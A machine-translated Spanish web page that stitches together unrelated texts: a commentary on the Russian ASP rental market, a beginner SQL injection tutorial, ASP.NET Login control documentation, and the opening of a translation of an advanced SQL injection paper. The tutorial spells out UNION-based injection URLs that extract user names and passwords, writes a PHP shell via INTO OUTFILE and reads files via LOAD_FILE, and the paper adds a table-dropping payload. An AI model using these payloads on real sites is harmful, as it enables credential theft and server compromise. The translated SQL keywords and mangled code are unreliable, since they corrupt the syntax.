Menú
Está libre
registro
hogar  /  Instalacion y configuracion/ Inyección sql básica en aplicaciones SQL. Una guía para tontos

Inyección sql básica en aplicaciones SQL. Una guía para tontos

Actualmente, no se puede argumentar que se haya formado un mercado ASP en toda regla en Rusia. La mayoría de los usuarios rusos todavía no perciben el concepto ASP como útil para su negocio. Actualmente (en el momento de la preparación del artículo) sobre Mercado ruso no hay un solo ejemplo exitoso de implementación de ASP a gran escala en una gran empresa. De hecho, solo hay alojamiento, elementos implementados separados del modelo ASP, empresas que desean participar en negocios ASP, etc. Es decir, todavía no hay implementación del modelo ASP clásico en Rusia.

Ahora en el mercado ruso, el modelo ASP es aplicable solo a los servicios de correo personalizados (Mail.ru, Beep.ru, Freemail.ru, etc.) y a los servicios especializados de alta tecnología (por ejemplo, banners y motores de búsqueda, Internet sistemas estadísticos, etc.) ... Al mismo tiempo, el arrendamiento de servicios postales no significa simplemente la provisión de un buzón personal a cada usuario individual. Gratis servidores de correo ampliamente utilizado en el sector empresarial por pequeñas empresas y empresarios privados. Los principales clientes de tales servicios son empresas que deseen organizar un servicio de correo corporativo (o automatizar el flujo de documentos corporativos) o proveedores de Internet (por ejemplo, portales Rambler.ru, Yandex.ru, etc.), que deseen organizar un Web-mail gratuito. servicio para su audiencia.

Existe un cierto interés de los usuarios rusos en el alquiler de tiendas electrónicas (vitrinas en una plataforma de comercio electrónico). Y esto es comprensible. Dado que todavía hay muy, muy pocos ejemplos exitosos de comercio en línea en Rusia (a pesar de las declaraciones ruidosas de varias empresas sobre sus impresionantes logros), parece más razonable gastar un orden de magnitud menos de dinero en el alquiler de una tienda electrónica (que comprarlo y mantenerlo). En caso de falla del proyecto, se puede cerrar con la suficiente rapidez y sin pérdidas significativas. El arrendamiento de aplicaciones ERP, generalizado en Occidente, se encuentra ahora en Rusia solo en la etapa de proyectos piloto.

Entre las aplicaciones que se ofrecen en alquiler, se pueden observar tanto suites de oficina relativamente simples (como MS Office) como aplicaciones más complejas (como Lotus Smart Suite), así como sistemas ERP (como Navision Axapta).

Los principales problemas y características del mercado ASP ruso.

10.2 Problemas en el mercado ruso.

Actualmente, el mercado ASP de Rusia está por detrás del mercado ASP mundial al menos varios años. El estado rudimentario del mercado ASP ruso se debe a una serie de problemas existentes. Los principales de estos problemas son:

1. El rezago general de la economía rusa con respecto a la occidental y el subdesarrollo de la infraestructura técnica de las empresas. Hasta ahora, la mayoría de las empresas rusas operan con la infraestructura técnica creada hace décadas. En la actualidad, las inversiones de las empresas en su modernización aún son insuficientes. Y aquí el problema es más bien las prioridades financieras de las empresas, ya que no todos pueden invertir los fondos necesarios en la modernización de la infraestructura técnica. Por tanto, tienen que solucionar sus problemas actuales a expensas de la infraestructura existente.

2. Baja demanda de servicios ASP. La población y los clientes corporativos no están preparados (en su mayor parte) para pagar los servicios de ASP. Si para el consumidor ruso medio hay ahora simplemente prioridades más urgentes y vitales en el gasto, entonces los usuarios corporativos no se toman los servicios ASP en serio todavía.

3. Debilidad del marco legal del mercado electrónico. Hasta que se adopte el paquete completo de leyes, no es necesario hablar sobre el desarrollo del mercado electrónico (incluido el ASP).

4. Cierre de estados financieros de clientes corporativos (especialmente las empresas más solventes).

5) Resistencia de TI (tanto explícita como implícita) grandes compañias que tienen que reorientarse hacia otras tareas, recortar personal y presupuestos de TI, etc.

6. Un pequeño número de aplicaciones que se pueden utilizar en el modelo ASP para empresas rusas.

7. La presencia en el mercado laboral ruso de un número suficientemente grande de especialistas en TI de nivel inicial y medio con salarios relativamente bajos. Después de la crisis de 1998, la abrumadora mayoría de los salarios de los especialistas en TI se mantuvo en el mismo nivel posterior a la crisis. A veces es más barato para las pequeñas y medianas empresas mantener sus propios servicios de TI que pagar por los servicios ASP (a diferencia de las empresas occidentales, donde la situación es exactamente la contraria).

Saludos, lector. Últimamente me ha interesado la seguridad Web, y hasta cierto punto mi trabajo está relacionado con esto. Porque Comencé a notar cada vez más temas en varios foros, con una solicitud para mostrar cómo funciona todo, decidí escribir un artículo. El artículo estará diseñado para aquellos que no se han encontrado con uno similar, pero les gustaría aprender. Hay relativamente muchos artículos en línea sobre este tema, pero para los principiantes, son un poco complicados. Intentaré describir todo con un lenguaje claro y ejemplos detallados.

Prefacio

Para entender este artículo, no es necesario tener conocimientos del lenguaje SQL, pero al menos mucha paciencia y un poco de cerebro para memorizar.

Creo que una lectura del artículo no será suficiente, porque necesitamos ejemplos vivos; como saben, la práctica, en el proceso de memorización, nunca es superflua. Por lo tanto, escribiremos scripts vulnerables y nos entrenaremos con ellos.

¿Qué es la inyección SQL?
En términos simples, se trata de un ataque a la base de datos, que le permitirá realizar alguna acción que no fue planeada por el creador del script. Ejemplo de la vida real:

Padre, escribió en una nota a mamá para que le diera a Vasya 100 rublos y lo pusiera sobre la mesa. Reciclando esto en un lenguaje SQL de broma, obtenemos:
QUITAR 100 RUBLOS DE LA BILLETERA Y ENTREGARSE A Vasya

Como el padre escribió mal la nota (letra retorcida) y la dejó sobre la mesa, el hermano de Vasya, Petya, la vio. Petya, siendo un hacker, agregó "O Petya" allí y salió la siguiente solicitud:
OBTENGA 100 RUBLES DEL BILLETERO Y DÉLESELOS A Vasya O Petya

Mamá, después de leer la nota, decidió que ayer le dio dinero a Vasya y le dio 100 rublos a Pete. He aquí un ejemplo sencillo inyección SQL de la vida :) Sin filtrar los datos (mamá apenas podía distinguir la letra), Petya obtuvo ganancias.

Preparación
Para practicar, necesitará un archivo con los scripts de origen de este artículo. Descárgalo y descomprímelo en el servidor. También importe la base de datos y configure los datos en el archivo. cfg.php

Búsqueda de inyección SQL

Como ya entendió, la inyección aparece a partir de los datos entrantes, que no se filtran. El error más común es no filtrar la identificación pasada. Bueno, en términos generales, sustituya las citas en todos los campos. ¡Ya sea una solicitud GET / POST o incluso una cookie!

Parámetro de entrada numérico
Para practicar, necesitamos un guión index1.php... Como dije anteriormente, sustituimos las comillas en el ID de noticias.

Porque nuestra solicitud no tiene filtrado:

$ id = $ _GET ["id"]; $ consulta = "SELECCIONAR * DE noticias DONDE id = $ id";

El guión entenderá esto como

SELECCIONAR * DE noticias DONDE id = 1 "

Y nos dará un error:
Advertencia: mysql_fetch_array () espera que el parámetro 1 sea recurso, booleano dado en C: \ WebServ \ domains \ sqlinj \ index1.php en la línea 16

Si no se devuelve el error, puede haber las siguientes razones:

1.La inyección SQL no está aquí: las cotizaciones se filtran o simplemente vale la pena convertirlas a (En t)
2. Salida de error inhabilitada.

Si sigue apareciendo un error, ¡hurra! Encontramos el primer tipo de inyección SQL: parámetro de entrada numérico.

Parámetro de entrada de cadena

Enviaremos solicitudes a index2.php... V Este archivo, la solicitud se ve así:
$ usuario = $ _GET ["usuario"]; $ consulta = "SELECCIONAR * DE noticias DONDE usuario =" $ usuario "";

Aquí seleccionamos noticias por nombre de usuario, y nuevamente, no filtramos.
Nuevamente, enviamos una solicitud con un presupuesto:

Lanzó un error. ¡OK! Entonces hay una vulnerabilidad. Para empezar, eso es suficiente para nosotros, pongámonos a practicar.

Empezando

Un poco de teoría

Probablemente no pueda esperar para obtener algo de esto, a excepción de los errores. Primero, comprenda que la señal " -- "se considera un comentario en SQL.

¡ATENCIÓN! Debe haber espacios antes y después. En la URL, se pasan como %20

Todo lo que venga después del comentario será descartado, es decir, la solicitud:
SELECCIONAR * DE noticias DONDE usuario = "AlexanderPHP" - habrahabra

Tendrá éxito. Puede probar esto en el script index2.php enviando una solicitud como esta:

Sqlinj / index2.php? User = AlexanderPHP "% 20 -% 20habrahabr

Aprenda el parámetro UNIÓN... En lenguaje SQL palabra clave UNIÓN se utiliza para combinar los resultados de dos consultas SQL en una sola tabla. Es decir, para sacar algo que necesitamos de otra mesa.

Beneficiándose de ello

Si el parámetro es "Numérico", entonces en la solicitud no necesitamos enviar una cotización y, naturalmente, poner un comentario al final. Volvamos al guion index1.php.

Veamos el script sqlinj / index1.php? Id = 1 UNION SELECT 1. Obtenemos una consulta a la base de datos como esta:
SELECCIONAR * DE noticias DONDE id = 1 UNIÓN SELECCIONAR 1
Y nos dio un error, porque para trabajar con la agregación de consultas, necesitamos el mismo número de campos.

Porque no podemos influir en su número en la primera solicitud, luego debemos seleccionar su número en la segunda para que sea igual a la primera.

Seleccionar el número de campos

La selección de campos es muy simple, solo envíe las siguientes solicitudes:
sqlinj / index1.php? id = 1 UNION SELECT 1,2
Error…
sqlinj / index1.php? id = 1 UNION SELECT 1,2,3
¡Error de nuevo!
sqlinj / index1.php? id = 1 UNION SELECT 1,2,3,4,5
¡No hay error! Entonces, el número de columnas es 5.

AGRUPAR POR
A menudo sucede que puede haber 20, 40 o incluso 60 campos. Para no iterar sobre ellos cada vez, usamos AGRUPAR POR

Si la solicitud
sqlinj / index1.php? id = 1 AGRUPAR POR 2
no dio errores, por lo que la cantidad de campos es más de 2. Intente:

Sqlinj / index1.php? Id = 1 AGRUPAR POR 8
Vaya, vemos un error, por lo que la cantidad de campos es menor que 8.

Si no hay ningún error con GROUP BY 4 y un error con GROUP BY 6, entonces el número de campos es 5

Definición de columnas para mostrar
Para asegurarse de que no se nos muestre nada desde la primera solicitud, basta con sustituir una ID inexistente, por ejemplo:

Sqlinj / index1.php? Id = -1 UNION SELECT 1,2,3,4,5


Mediante esta acción, hemos determinado qué columnas se muestran en la página. ahora, para reemplazar estos números con la información requerida, debe continuar con la solicitud.

Salida de datos

Digamos que sabemos que la mesa todavía existe. usuarios en que campos existen identificación, nombre y aprobar.
Necesitamos obtener información sobre el usuario con ID = 1

Por lo tanto, construyamos una consulta como esta:

Sqlinj / index1.php? Id = -1 UNION SELECT 1,2,3,4,5 FROM users WHERE id = 1
El script también continúa emitiendo

Para ello sustituiremos el nombre de los campos, por el lugar de los números 1 y 3

Sqlinj / index1.php? Id = -1 UNION SELECT name, 2, pass, 4,5 FROM users WHERE id = 1
¡Conseguimos lo que se requería!

Para "parámetro de entrada de cadena", como en el script index2.php debe agregar una comilla al principio y una marca de comentario al final. Ejemplo:
sqlinj / index2.php? user = -1 "UNION SELECT name, 2, pass, 4,5 FROM users WHERE id = 1 -% 20

Lectura / escritura de archivos

Para leer y escribir archivos, el usuario de la base de datos debe tener los derechos FILE_PRIV.
Grabación de archivos
De hecho, todo es muy sencillo. Para escribir un archivo usaremos la función OUTFILE.
sqlinj / index2.php? user = -1 "UNION SELECT 1,2,3,4,5 INTO OUTFILE" 1.php "-% 20
Genial, el archivo ha sido registrado con nosotros. Por lo tanto, podemos completar el mini-shell:
sqlinj / index2.php? user = -1 "UNION SELECT 1,"", 3,4,5 EN SALIDA" 1.php "-% 20
Leyendo archivos
Leer archivos es incluso más fácil que escribir. Es bastante fácil usar la función CARGAR ARCHIVO, para el lugar del campo que elijamos:

Sqlinj / index2.php? User = -1 "UNION SELECT 1, LOAD_FILE (" 1.php "), 3,4,5 -% 20

Por lo tanto, hemos leído el archivo grabado anterior.

Métodos de protección

Es incluso más fácil defender que explotar una vulnerabilidad. Solo filtra los datos. Si está pasando números, use
$ id = (int) $ _GET ["id"];
Según lo sugerido por el usuario malroc. Protegido mediante el uso de DOP o declaraciones preparadas.

En lugar de completar

Aquí es donde quiero terminar mi primera parte sobre " inyección SQL para principiantes". En el segundo, veremos ejemplos de inyecciones más pesadas. Intente escribir scripts vulnerables y ejecutar consultas usted mismo.
Y recuerde, no confíe en ningún usuario de su sitio.

Etiquetas: Agregar etiquetas

Control de inicio de sesión

El control de inicio de sesión facilita la creación de una página de inicio de sesión para la autenticación de formularios junto con la API de membresía. Proporciona un listo para usar interfaz de usuario que solicita el nombre de usuario y la contraseña y solicita un botón para iniciar sesión. En segundo plano, encapsula la funcionalidad que se describió en un artículo anterior: validando las identidades de los usuarios a través de la API de membresía y encapsulando la funcionalidad básica de autenticación basada en formularios, como la redirección a la página solicitada originalmente en un área de aplicación segura después de un inicio de sesión exitoso.

Esto significa que Login encapsula cosas como Membership.ValidateUser () o FormsAuthentication.RedirectFromLoginPage (), por lo que no tiene que escribir este código usted mismo. La siguiente figura muestra el control de inicio de sesión en acción:

Siempre que el usuario hace clic en el botón Iniciar sesión, el control valida automáticamente el nombre de usuario y la contraseña mediante la función Membership.ValidateUser () y luego llama a FormsAuthenication.RedirectFromLoginPage () si la validación es exitosa. Todas las opciones para el control de inicio de sesión afectan la entrada que entrega a estos métodos. Por ejemplo, si marca la casilla de verificación Recordarme la próxima vez, pasará a verdadero en el parámetro createPersistentCookie del método RedirectFromLoginPage (). Por lo tanto, FormsAuthenticationModule crea una cookie persistente.

Behind the Scenes Login es un control compuesto ASP.NET. Es completamente extensible, en el sentido de que le permite anular cualquier estilo y propiedad de diseño, así como interceptar eventos generados para anular su comportamiento predeterminado. Si deja el control sin cambios y no detecta ningún evento, automáticamente usará el proveedor de membresía configurado para la aplicación.

La forma más simple de un control de inicio de sesión en una página se ve así:

Se proporcionan varias propiedades para cambiar la apariencia del control de inicio de sesión. Puede aplicar diferentes configuraciones de estilo como se muestra a continuación:

Además, puede utilizar clases de CSS para personalizar la apariencia de Inicio de sesión. Cada propiedad de estilo admitida por el control de inicio de sesión incluye una propiedad CssClass. Al igual que con cualquier control ASP.NET, esta propiedad le permite especificar el nombre de la clase CSS que se agregó previamente al sitio web. Suponga que agregó la siguiente hoja de estilo CSS a su proyecto con el nombre de archivo MyStyles.css:

MyLoginTextBoxStyle (cursor: puntero; color de fondo: amarillo; alineación de texto: centro; relleno: 6px; borde: negro punteado; familia de fuentes: Verdana; alineación vertical: medio;) .Iniciar sesión (pantalla: bloque en línea;) .Título (relleno: 6px;)

Este archivo de estilo se puede incluir en la página de inicio de sesión para poder diseñar el elemento de inicio de sesión:

La siguiente tabla enumera los estilos admitidos por el control de inicio de sesión. Cada estilo funciona de la misma manera. Las propiedades de fuente y color se pueden establecer directamente, o puede usar la propiedad CssClass para especificar la clase CSS deseada:

Estilos admitidos por el control de inicio de sesión
Estilo Descripción
CheckBoxStyle

Define las propiedades de estilo para la casilla de verificación Recordarme la próxima vez

FailureStyle

Define el estilo del texto que se muestra en caso de un inicio de sesión fallido

HyperLinkStyle

El control de inicio de sesión le permite definir varios tipos de hipervínculos, por ejemplo, a la página de registro inicial. Este estilo determina la apariencia de dichos hipervínculos.

InstrucciónTexto Estilo

El control de inicio de sesión le permite especificar el texto de ayuda para que se muestre directamente dentro de sí mismo. Este estilo establece la apariencia de este texto.

LabelStyle

Especifica el estilo de las etiquetas de nombre de usuario y contraseña

LoginButtonStyle

Define el estilo del botón de inicio de sesión

TextBoxStyle

Especifica el estilo de los campos de texto Nombre de usuario y Contraseña

TítuloTexto Estilo

Especifica el estilo del texto del título para el control de inicio de sesión

ValidatorTextStyle

Define estilos para los controles utilizados para validar el nombre de usuario y la contraseña.

La interfaz de usuario del elemento de inicio de sesión se puede personalizar a través de más que solo estos estilos; otras propiedades adicionales apuntan a partes específicas del contenido del control, como el botón Iniciar sesión, que también le permite personalizar la interfaz gráfica.

Por ejemplo, puede elegir el texto que se muestra en el botón de inicio de sesión o incluso mostrar un hipervínculo en lugar de este botón (como se establece de forma predeterminada). Además, puede agregar varios hipervínculos al control de inicio de sesión, como un vínculo a una página de ayuda o una página de registro. Ambas páginas deben estar abiertas al acceso anónimo porque también se debe ofrecer ayuda a los usuarios anónimos (recuerde que si alguien ve el control de inicio de sesión, es un usuario potencialmente anónimo). Para incluir enlaces adicionales en el inicio de sesión, modifique la definición mostrada anteriormente de la siguiente manera:

...

Este código muestra dos enlaces adicionales, uno a la página de ayuda y otro a la página de registro inicial, y agrega un breve texto de instrucciones bajo el encabezado del elemento de inicio de sesión:

Los estilos descritos anteriormente también se aplican a estas propiedades. La siguiente tabla describe las propiedades importantes para personalizar el control de inicio de sesión:

Propiedades importantes para personalizar el control de inicio de sesión
Propiedad Descripción
Mensaje de texto
Texto del título

El texto que se muestra en el título del control

InstructionText

Esta propiedad ya se ha utilizado en el fragmento de código anterior. Contiene el texto que se muestra debajo del título del control

FailureText

El texto que muestra el control de inicio de sesión si falla el intento de inicio de sesión

UserNameLabelText

Texto mostrado como una etiqueta antes del campo de texto del nombre de usuario

PasswordLabelText

Texto mostrado como una etiqueta antes del campo de texto de la contraseña del usuario

Nombre de usuario

El valor inicial que llena el cuadro de texto del nombre de usuario.

UsernameRequiredErrorMessage

Se muestra un mensaje de error si el usuario no ingresó un nombre

PasswordRequiredErrorMessage

Se muestra un mensaje de error si el usuario no ingresó una contraseña

Botón de inicio de sesión
LoginButtonText

Texto que se muestra en el botón de inicio de sesión

LoginButtonType
LoginButtonImageUrl

Si el botón de inicio de sesión se presenta como una imagen gráfica, debe especificar la URL donde se encuentra esta imagen

Página de inicio de sesión
DestinationPageUrl

Si el intento de inicio de sesión es exitoso, el control de inicio de sesión redirige al usuario a esta página. Esta propiedad está vacía de forma predeterminada. Empty usa el marco de autenticación de formularios para redirigir a la página solicitada original o la URL predeterminada configurada en web.config para la autenticación de formularios

Fracaso Acción

Determina la acción que realiza el control después de un intento de inicio de sesión fallido. Dos opciones válidas son Refresh y RedirectToLoginPage. El primer valor solo actualiza la página actual, mientras que el segundo redirige a la página de inicio de sesión configurada. La segunda opción es útil si el control de inicio de sesión se usa en otro lugar que no sea la página de inicio de sesión

VisibleWhenLoggedIn

Si se establece en falso, el control se ocultará automáticamente si el usuario ya inició sesión. Si se establece en verdadero (el valor predeterminado), el elemento de inicio de sesión se muestra incluso si el usuario está conectado

Configuración de una etiqueta Recordarme
PantallaRecuerdame

Muestra u oculta la casilla de verificación Recordarme la próxima vez. De forma predeterminada, esta propiedad se establece en verdadera

RememberMeSet

Especifica el valor predeterminado para la casilla de verificación Recordarme la próxima vez. De forma predeterminada, esta propiedad se establece en falsa, es decir, la casilla de verificación no está marcada

Página de registro
CreateUserUrl

Define un hipervínculo a una página en un sitio web que le permite crear (registrar) un usuario. Por lo tanto, se usa comúnmente para dar acceso al usuario a la página de registro inicial. Esto generalmente muestra el control CreateUserWizard.

CreateUserText
CreateUserIconUrl

URL de la imagen gráfica que se muestra junto con el texto del hipervínculo de CreateUserUrl

Página de ayuda
HelpPageUrl

URL para redirigir al usuario a la página de ayuda

HelpPageText
HelpPageIconUrl

La URL del icono que se muestra junto con el texto del hipervínculo HelpPageUrl

Página de recuperación de contraseña
PasswordRecoveryUrl

URL para redirigir al usuario a la página de recuperación de contraseña. Esta página se aplica cuando el usuario ha olvidado su contraseña. Por lo general, muestra un control de recuperación de contraseña

PasswordRecoveryText
PasswordRecoveryIconUrl

La URL del icono que se muestra junto con el texto del hipervínculo PasswordRecoveryUrl

Plantillas de inicio de sesión y control

Como puede ver, todas estas propiedades hacen que el control de inicio de sesión sea muy flexible. Pero como probablemente haya notado, es imposible definir ninguna expresión para validar la entrada. Por supuesto, es posible implementar la validación del lado del servidor dentro de los procedimientos de eventos ofrecidos por el control de inicio de sesión. Cuando necesite agregar algunos elementos al control compuesto de inicio de sesión, esto no se puede hacer a través de las propiedades presentadas anteriormente. Por ejemplo, ¿qué sucede si necesita un segundo cuadro de texto para una autenticación sólida con una segunda contraseña o clave personalizada, como lo hacen algunos sitios gubernamentales?

Afortunadamente, al igual que otros controles como GridView, el control de inicio de sesión admite plantillas. Con las plantillas, puede personalizar el contenido del control de inicio de sesión sin restricciones. Se le pueden agregar nuevos controles. Aplica una plantilla personalizada al control de inicio de sesión mediante un identificador LayoutTemplate:

Registrarse

Nombre de usuario:
Contraseña:


Al observar el código anterior, surge una pregunta: si tiene que escribir tanto código de interfaz de usuario (o diseñarlo en un diseñador visual) al configurar una plantilla, ¿por qué no escribir su propia página de inicio de sesión sin usar el control de inicio de sesión?

Ésta es la pregunta correcta. Sin embargo, como se explicó anteriormente, la interfaz es solo una parte del elemento de inicio de sesión. Por ejemplo, en caso de que el usuario haga clic en el botón de inicio de sesión, el control de inicio de sesión ya tiene todo el código necesario para validar automáticamente al usuario con la tienda de membresía y redirigirlo a la página solicitada original a través del marco de autenticación de formularios. Así que definitivamente se salvó de tener que escribir este código.

Con los controles correctos y los valores de identificador correctos para estos controles, no es necesario escribir código de manejo de eventos. El código funciona de la forma habitual, excepto que usted define un conjunto de controles y su diseño. En realidad, el control de inicio de sesión requiere al menos dos campos de texto, nombre de usuario y contraseña. Si faltan estos dos campos de texto (o tienen valores de identificador diferentes), el inicio de sesión generará una excepción. Todos los demás controles son opcionales, pero si proporciona un valor de identificador apropiado (como Iniciar sesión para un botón de inicio de sesión), Iniciar sesión manejará automáticamente sus eventos y se comportará como si se aplicara el diseño predeterminado.

La siguiente tabla enumera los valores especiales de los identificadores, los tipos de elementos necesarios para ellos y el indicador obligatorio:

El control con el identificador de inicio de sesión puede ser cualquier cosa que admita la propagación de burbujas y la propiedad CommandName. Es importante establecer la propiedad CommandName de este elemento en Iniciar sesión, ya que de lo contrario, el control de inicio de sesión no lo reconocerá durante el manejo de eventos. Si no agrega un control con la propiedad CommandName establecida en Iniciar sesión, tendrá que manejar los eventos usted mismo y escribir el código apropiado para validar el nombre de usuario y la contraseña y redirigir a la página solicitada original.

También puede agregar controles con otras ID que no tienen nada que ver con el inicio de sesión. El código anterior utilizó los elementos RequiredFieldValidator y RegularExpressionValidator para validar los campos de nombre de usuario y contraseña.

Cuando se usa LayoutTemplate, muchas de las propiedades nativas del control ya no están disponibles. Cuando se aplica una plantilla, solo quedan disponibles las siguientes propiedades:

    DestinationPageUrl

    VisibleWhenLoggedIn

  • Proveedor de membresía

Todas las propiedades de estilo y algunas propiedades para personalizar el contenido de texto de los elementos de forma predeterminada ya no están disponibles en el Editor de propiedades de Visual Studio porque se pueden agregar manualmente como controles separados o texto estático a la plantilla del elemento de inicio de sesión. Si los agrega al elemento de inicio de sesión en el modo de plantilla, simplemente se ignorarán, porque la plantilla anula la interfaz predeterminada del elemento de inicio de sesión, que aprovecha estas propiedades.

Programación de control de inicio de sesión

El control de inicio de sesión admite varios eventos y propiedades que puede utilizar para personalizar su comportamiento. Proporcionan un control completo sobre el ajuste fino del control de inicio de sesión (junto con otras herramientas de personalización, como plantillas y propiedades de estilo). El control de inicio de sesión admite los eventos que se enumeran en la siguiente tabla:

Eventos de control de inicio de sesión
Evento Descripción
Iniciando sesión

Iniciado justo antes de la autenticación del usuario por el control

Conectado

Se activa después de que el control autentica al usuario

Error de inicio de sesión

Se activa cuando un usuario no puede iniciar sesión por cualquier motivo (por ejemplo, una contraseña o un nombre de usuario incorrectos)

Autenticar

Activado para la autenticación de usuarios. Si maneja este evento, debe autenticar al usuario usted mismo y el control de inicio de sesión dependerá completamente de su código de autenticación.

Los primeros tres eventos se pueden manejar para realizar algunas acciones antes de la autenticación del usuario, después de la autenticación y en caso de un error durante la autenticación. Por ejemplo, el evento LoginError se puede utilizar para redirigir automáticamente al usuario a la página de recuperación de contraseña después de una cierta cantidad de intentos de inicio de sesión, como se muestra a continuación:

Protected void Page_Load (objeto remitente, EventArgs e) (if (! This.IsPostBack) ViewState ["LoginErrors"] = 0;) protected void Login1_LoginError (objeto remitente, EventArgs e) (// Si el estado LoginErrors no existe, cree it if (ViewState ["LoginErrors"] == null) ViewState ["LoginErrors"] = 0; // Aumentar el contador de intentos fallidos de inicio de sesión int ErrorCount = (int) ViewState ["LoginErrors"] + 1; ViewState ["LoginErrors "] = ErrorCount; // Compruebe el número de intentos fallidos si ((ErrorCount> 3) && (Login1.PasswordRecoveryUrl! = String.Empty)) Response.Redirect (Login1.PasswordRecoveryUrl);)

El control de inicio de sesión genera eventos en el orden que se muestra en la siguiente figura:

Como se mencionó anteriormente, si intercepta el evento de autenticación, debe agregar su propio código de verificación de nombre de usuario y contraseña. Propiedad Autenticar mantiene una instancia de la lista de parámetros AuthenticateEventArgs. Esta clase de argumento de evento admite una propiedad denominada Autenticado. Si se establece en verdadero, el control de inicio de sesión asume que la autenticación fue exitosa y genera el evento LoggedIn. Si establece esta propiedad en false, se muestra FailureText y se genera el evento LoginError:

Protected void Login1_Authenticate (remitente del objeto, AuthenticateEventArgs e) (if (Membership.ValidateUser (Login1.UserName, Login1.Password)) (e.Authenticated = true;) else (e.Authenticated = false;))

Como puede ver, hay acceso directo a los valores ingresados ​​a través de las propiedades UserName y Password, que contienen el texto ingresado en los cuadros de texto correspondientes. Si está usando controles con plantilla y desea obtener un valor de otro control, además del Nombre de usuario y la Contraseña, puede usar el método FindControl () para obtener este control adicional. Este método toma el ID del elemento deseado y devuelve una instancia de System.Web.UI.Control. Luego, el objeto resultante simplemente se convierte al tipo de control deseado y se lee el valor requerido por el método de autenticación personalizado para el usuario.

Este trabajo es una traducción de una parte de Advanced SQL Injection In SQL Server Applications de Chris Anley. ()
En artículos posteriores, sujeto a la disponibilidad de tiempo libre, se completará esta traducción.

PD La traducción será más interesante para fines educativos e históricos.

Título del artículo original: Inyección SQL avanzada en aplicaciones SQL.

anotación

Este artículo detalla los métodos comunes de "inyección SQL" para la conocida plataforma Microsoft Internet Information Server / Active Server Pages / SQL Server. Se analizan los diversos usos de la inyección SQL en aplicaciones y se explican los métodos para validar datos y proteger las bases de datos donde se puede utilizar la inyección.

Introducción

El lenguaje de consulta estructurado (SQL) es un lenguaje estructurado que se utiliza para interactuar con bases de datos. Hay muchos "dialectos" del lenguaje SQL, pero hoy en día la mayoría de ellos se basan en el estándar SQL-92, uno de los primeros estándares ANSI. El bloque operativo principal de SQL es una consulta, que es una colección de expresiones que generalmente devuelven un conjunto de resultados. Las expresiones SQL pueden modificar la estructura de las bases de datos (utilizando expresiones de lenguaje de definición de datos (DLL)) y manipular su contenido (utilizando expresiones de lenguaje de manipulación de datos (DML)). En este documento, analizaremos transact-SQL utilizado en Microsoft SQL Server.

La inyección de SQL es posible cuando un atacante puede insertar su propio SQL en una consulta para manipular los datos que se envían a la aplicación.

Una declaración SQL típica se ve así:

Seleccione id, nombre, apellido de los autores

Esta expresión toma "id", "nombre" y "apellido" de las columnas de la tabla "autores" y devuelve todas las filas de la tabla. La selección puede estar limitada por un determinado "autor", por ejemplo:

Seleccione id, nombre, apellido de los autores donde forename = "john" y surname = "smith"

Cabe señalar que en esta consulta, los literales de cadena están separados por comillas simples. Se asume que "nombre" y "apellido" son datos ingresados ​​por el usuario. En este caso, un atacante podrá ingresar su propia consulta SQL agregando sus propios valores a la aplicación. Por ejemplo:

Nombre: jo "hn Apellido: smith

Entonces la expresión tomará la siguiente forma:

Seleccione id, nombre, apellido de los autores donde forename = "jo" hn "y apellido =" smith "

Después de que la base de datos intente procesar dicha solicitud, se devolverá el siguiente error:

Servidor: Msg 170, nivel 15, estado 1, línea 1 Línea 1: sintaxis incorrecta cerca de "hn".

La razón del error será que la comilla simple ingresada estropeará la estructura de los delimitadores en la consulta. Por lo tanto, la base de datos intentará sin éxito ejecutar el comando "hn", lo que resultará en un error. Como resultado, si un atacante ingresa la siguiente información en el formulario:

Nombre: jo "; eliminar los autores de la tabla-- Apellido:

La tabla "autores" se eliminará, por lo que veremos por qué más adelante.

Podría pensar que si eliminamos las comillas simples del formulario de entrada y también las "reemplazamos", esto puede resolver nuestro problema. Y tendrá razón, sin embargo, existen algunos problemas con el uso de este método como solución a este problema. Primero, no todas las entradas del usuario son "cadenas". Donde el formulario personalizado contendrá el "id" del autor, que suele ser un número. Por ejemplo, nuestra solicitud podría verse así:

Seleccione id, nombre, apellido de los autores donde id = 1234

En este caso, un atacante puede agregar fácilmente cualquier declaración SQL después de los datos numéricos. En otros tipos de consultas SQL, se utilizan diferentes delimitadores. Por ejemplo, en Microsoft Jet DBMS, el delimitador es "#". En segundo lugar, "escapar" de las comillas simples no es de ninguna manera la forma más fácil de protegerse, como podría parecer al principio. Hablaremos de esto con más detalle más adelante.

A continuación, se muestra un ejemplo basado en una página de inicio de sesión de páginas Active Server (ASP) que utiliza SQL para acceder a una base de datos y autorizar a un usuario en una aplicación.

Aquí está el código de la página que contiene el formulario de inicio de sesión, en el que se ingresan el nombre de usuario y la contraseña.

Página de inicio de sesión

Acceso

Nombre de usuario:
Contraseña:

A continuación se muestra el código (process_login.asp) que determina la exactitud de los datos ingresados.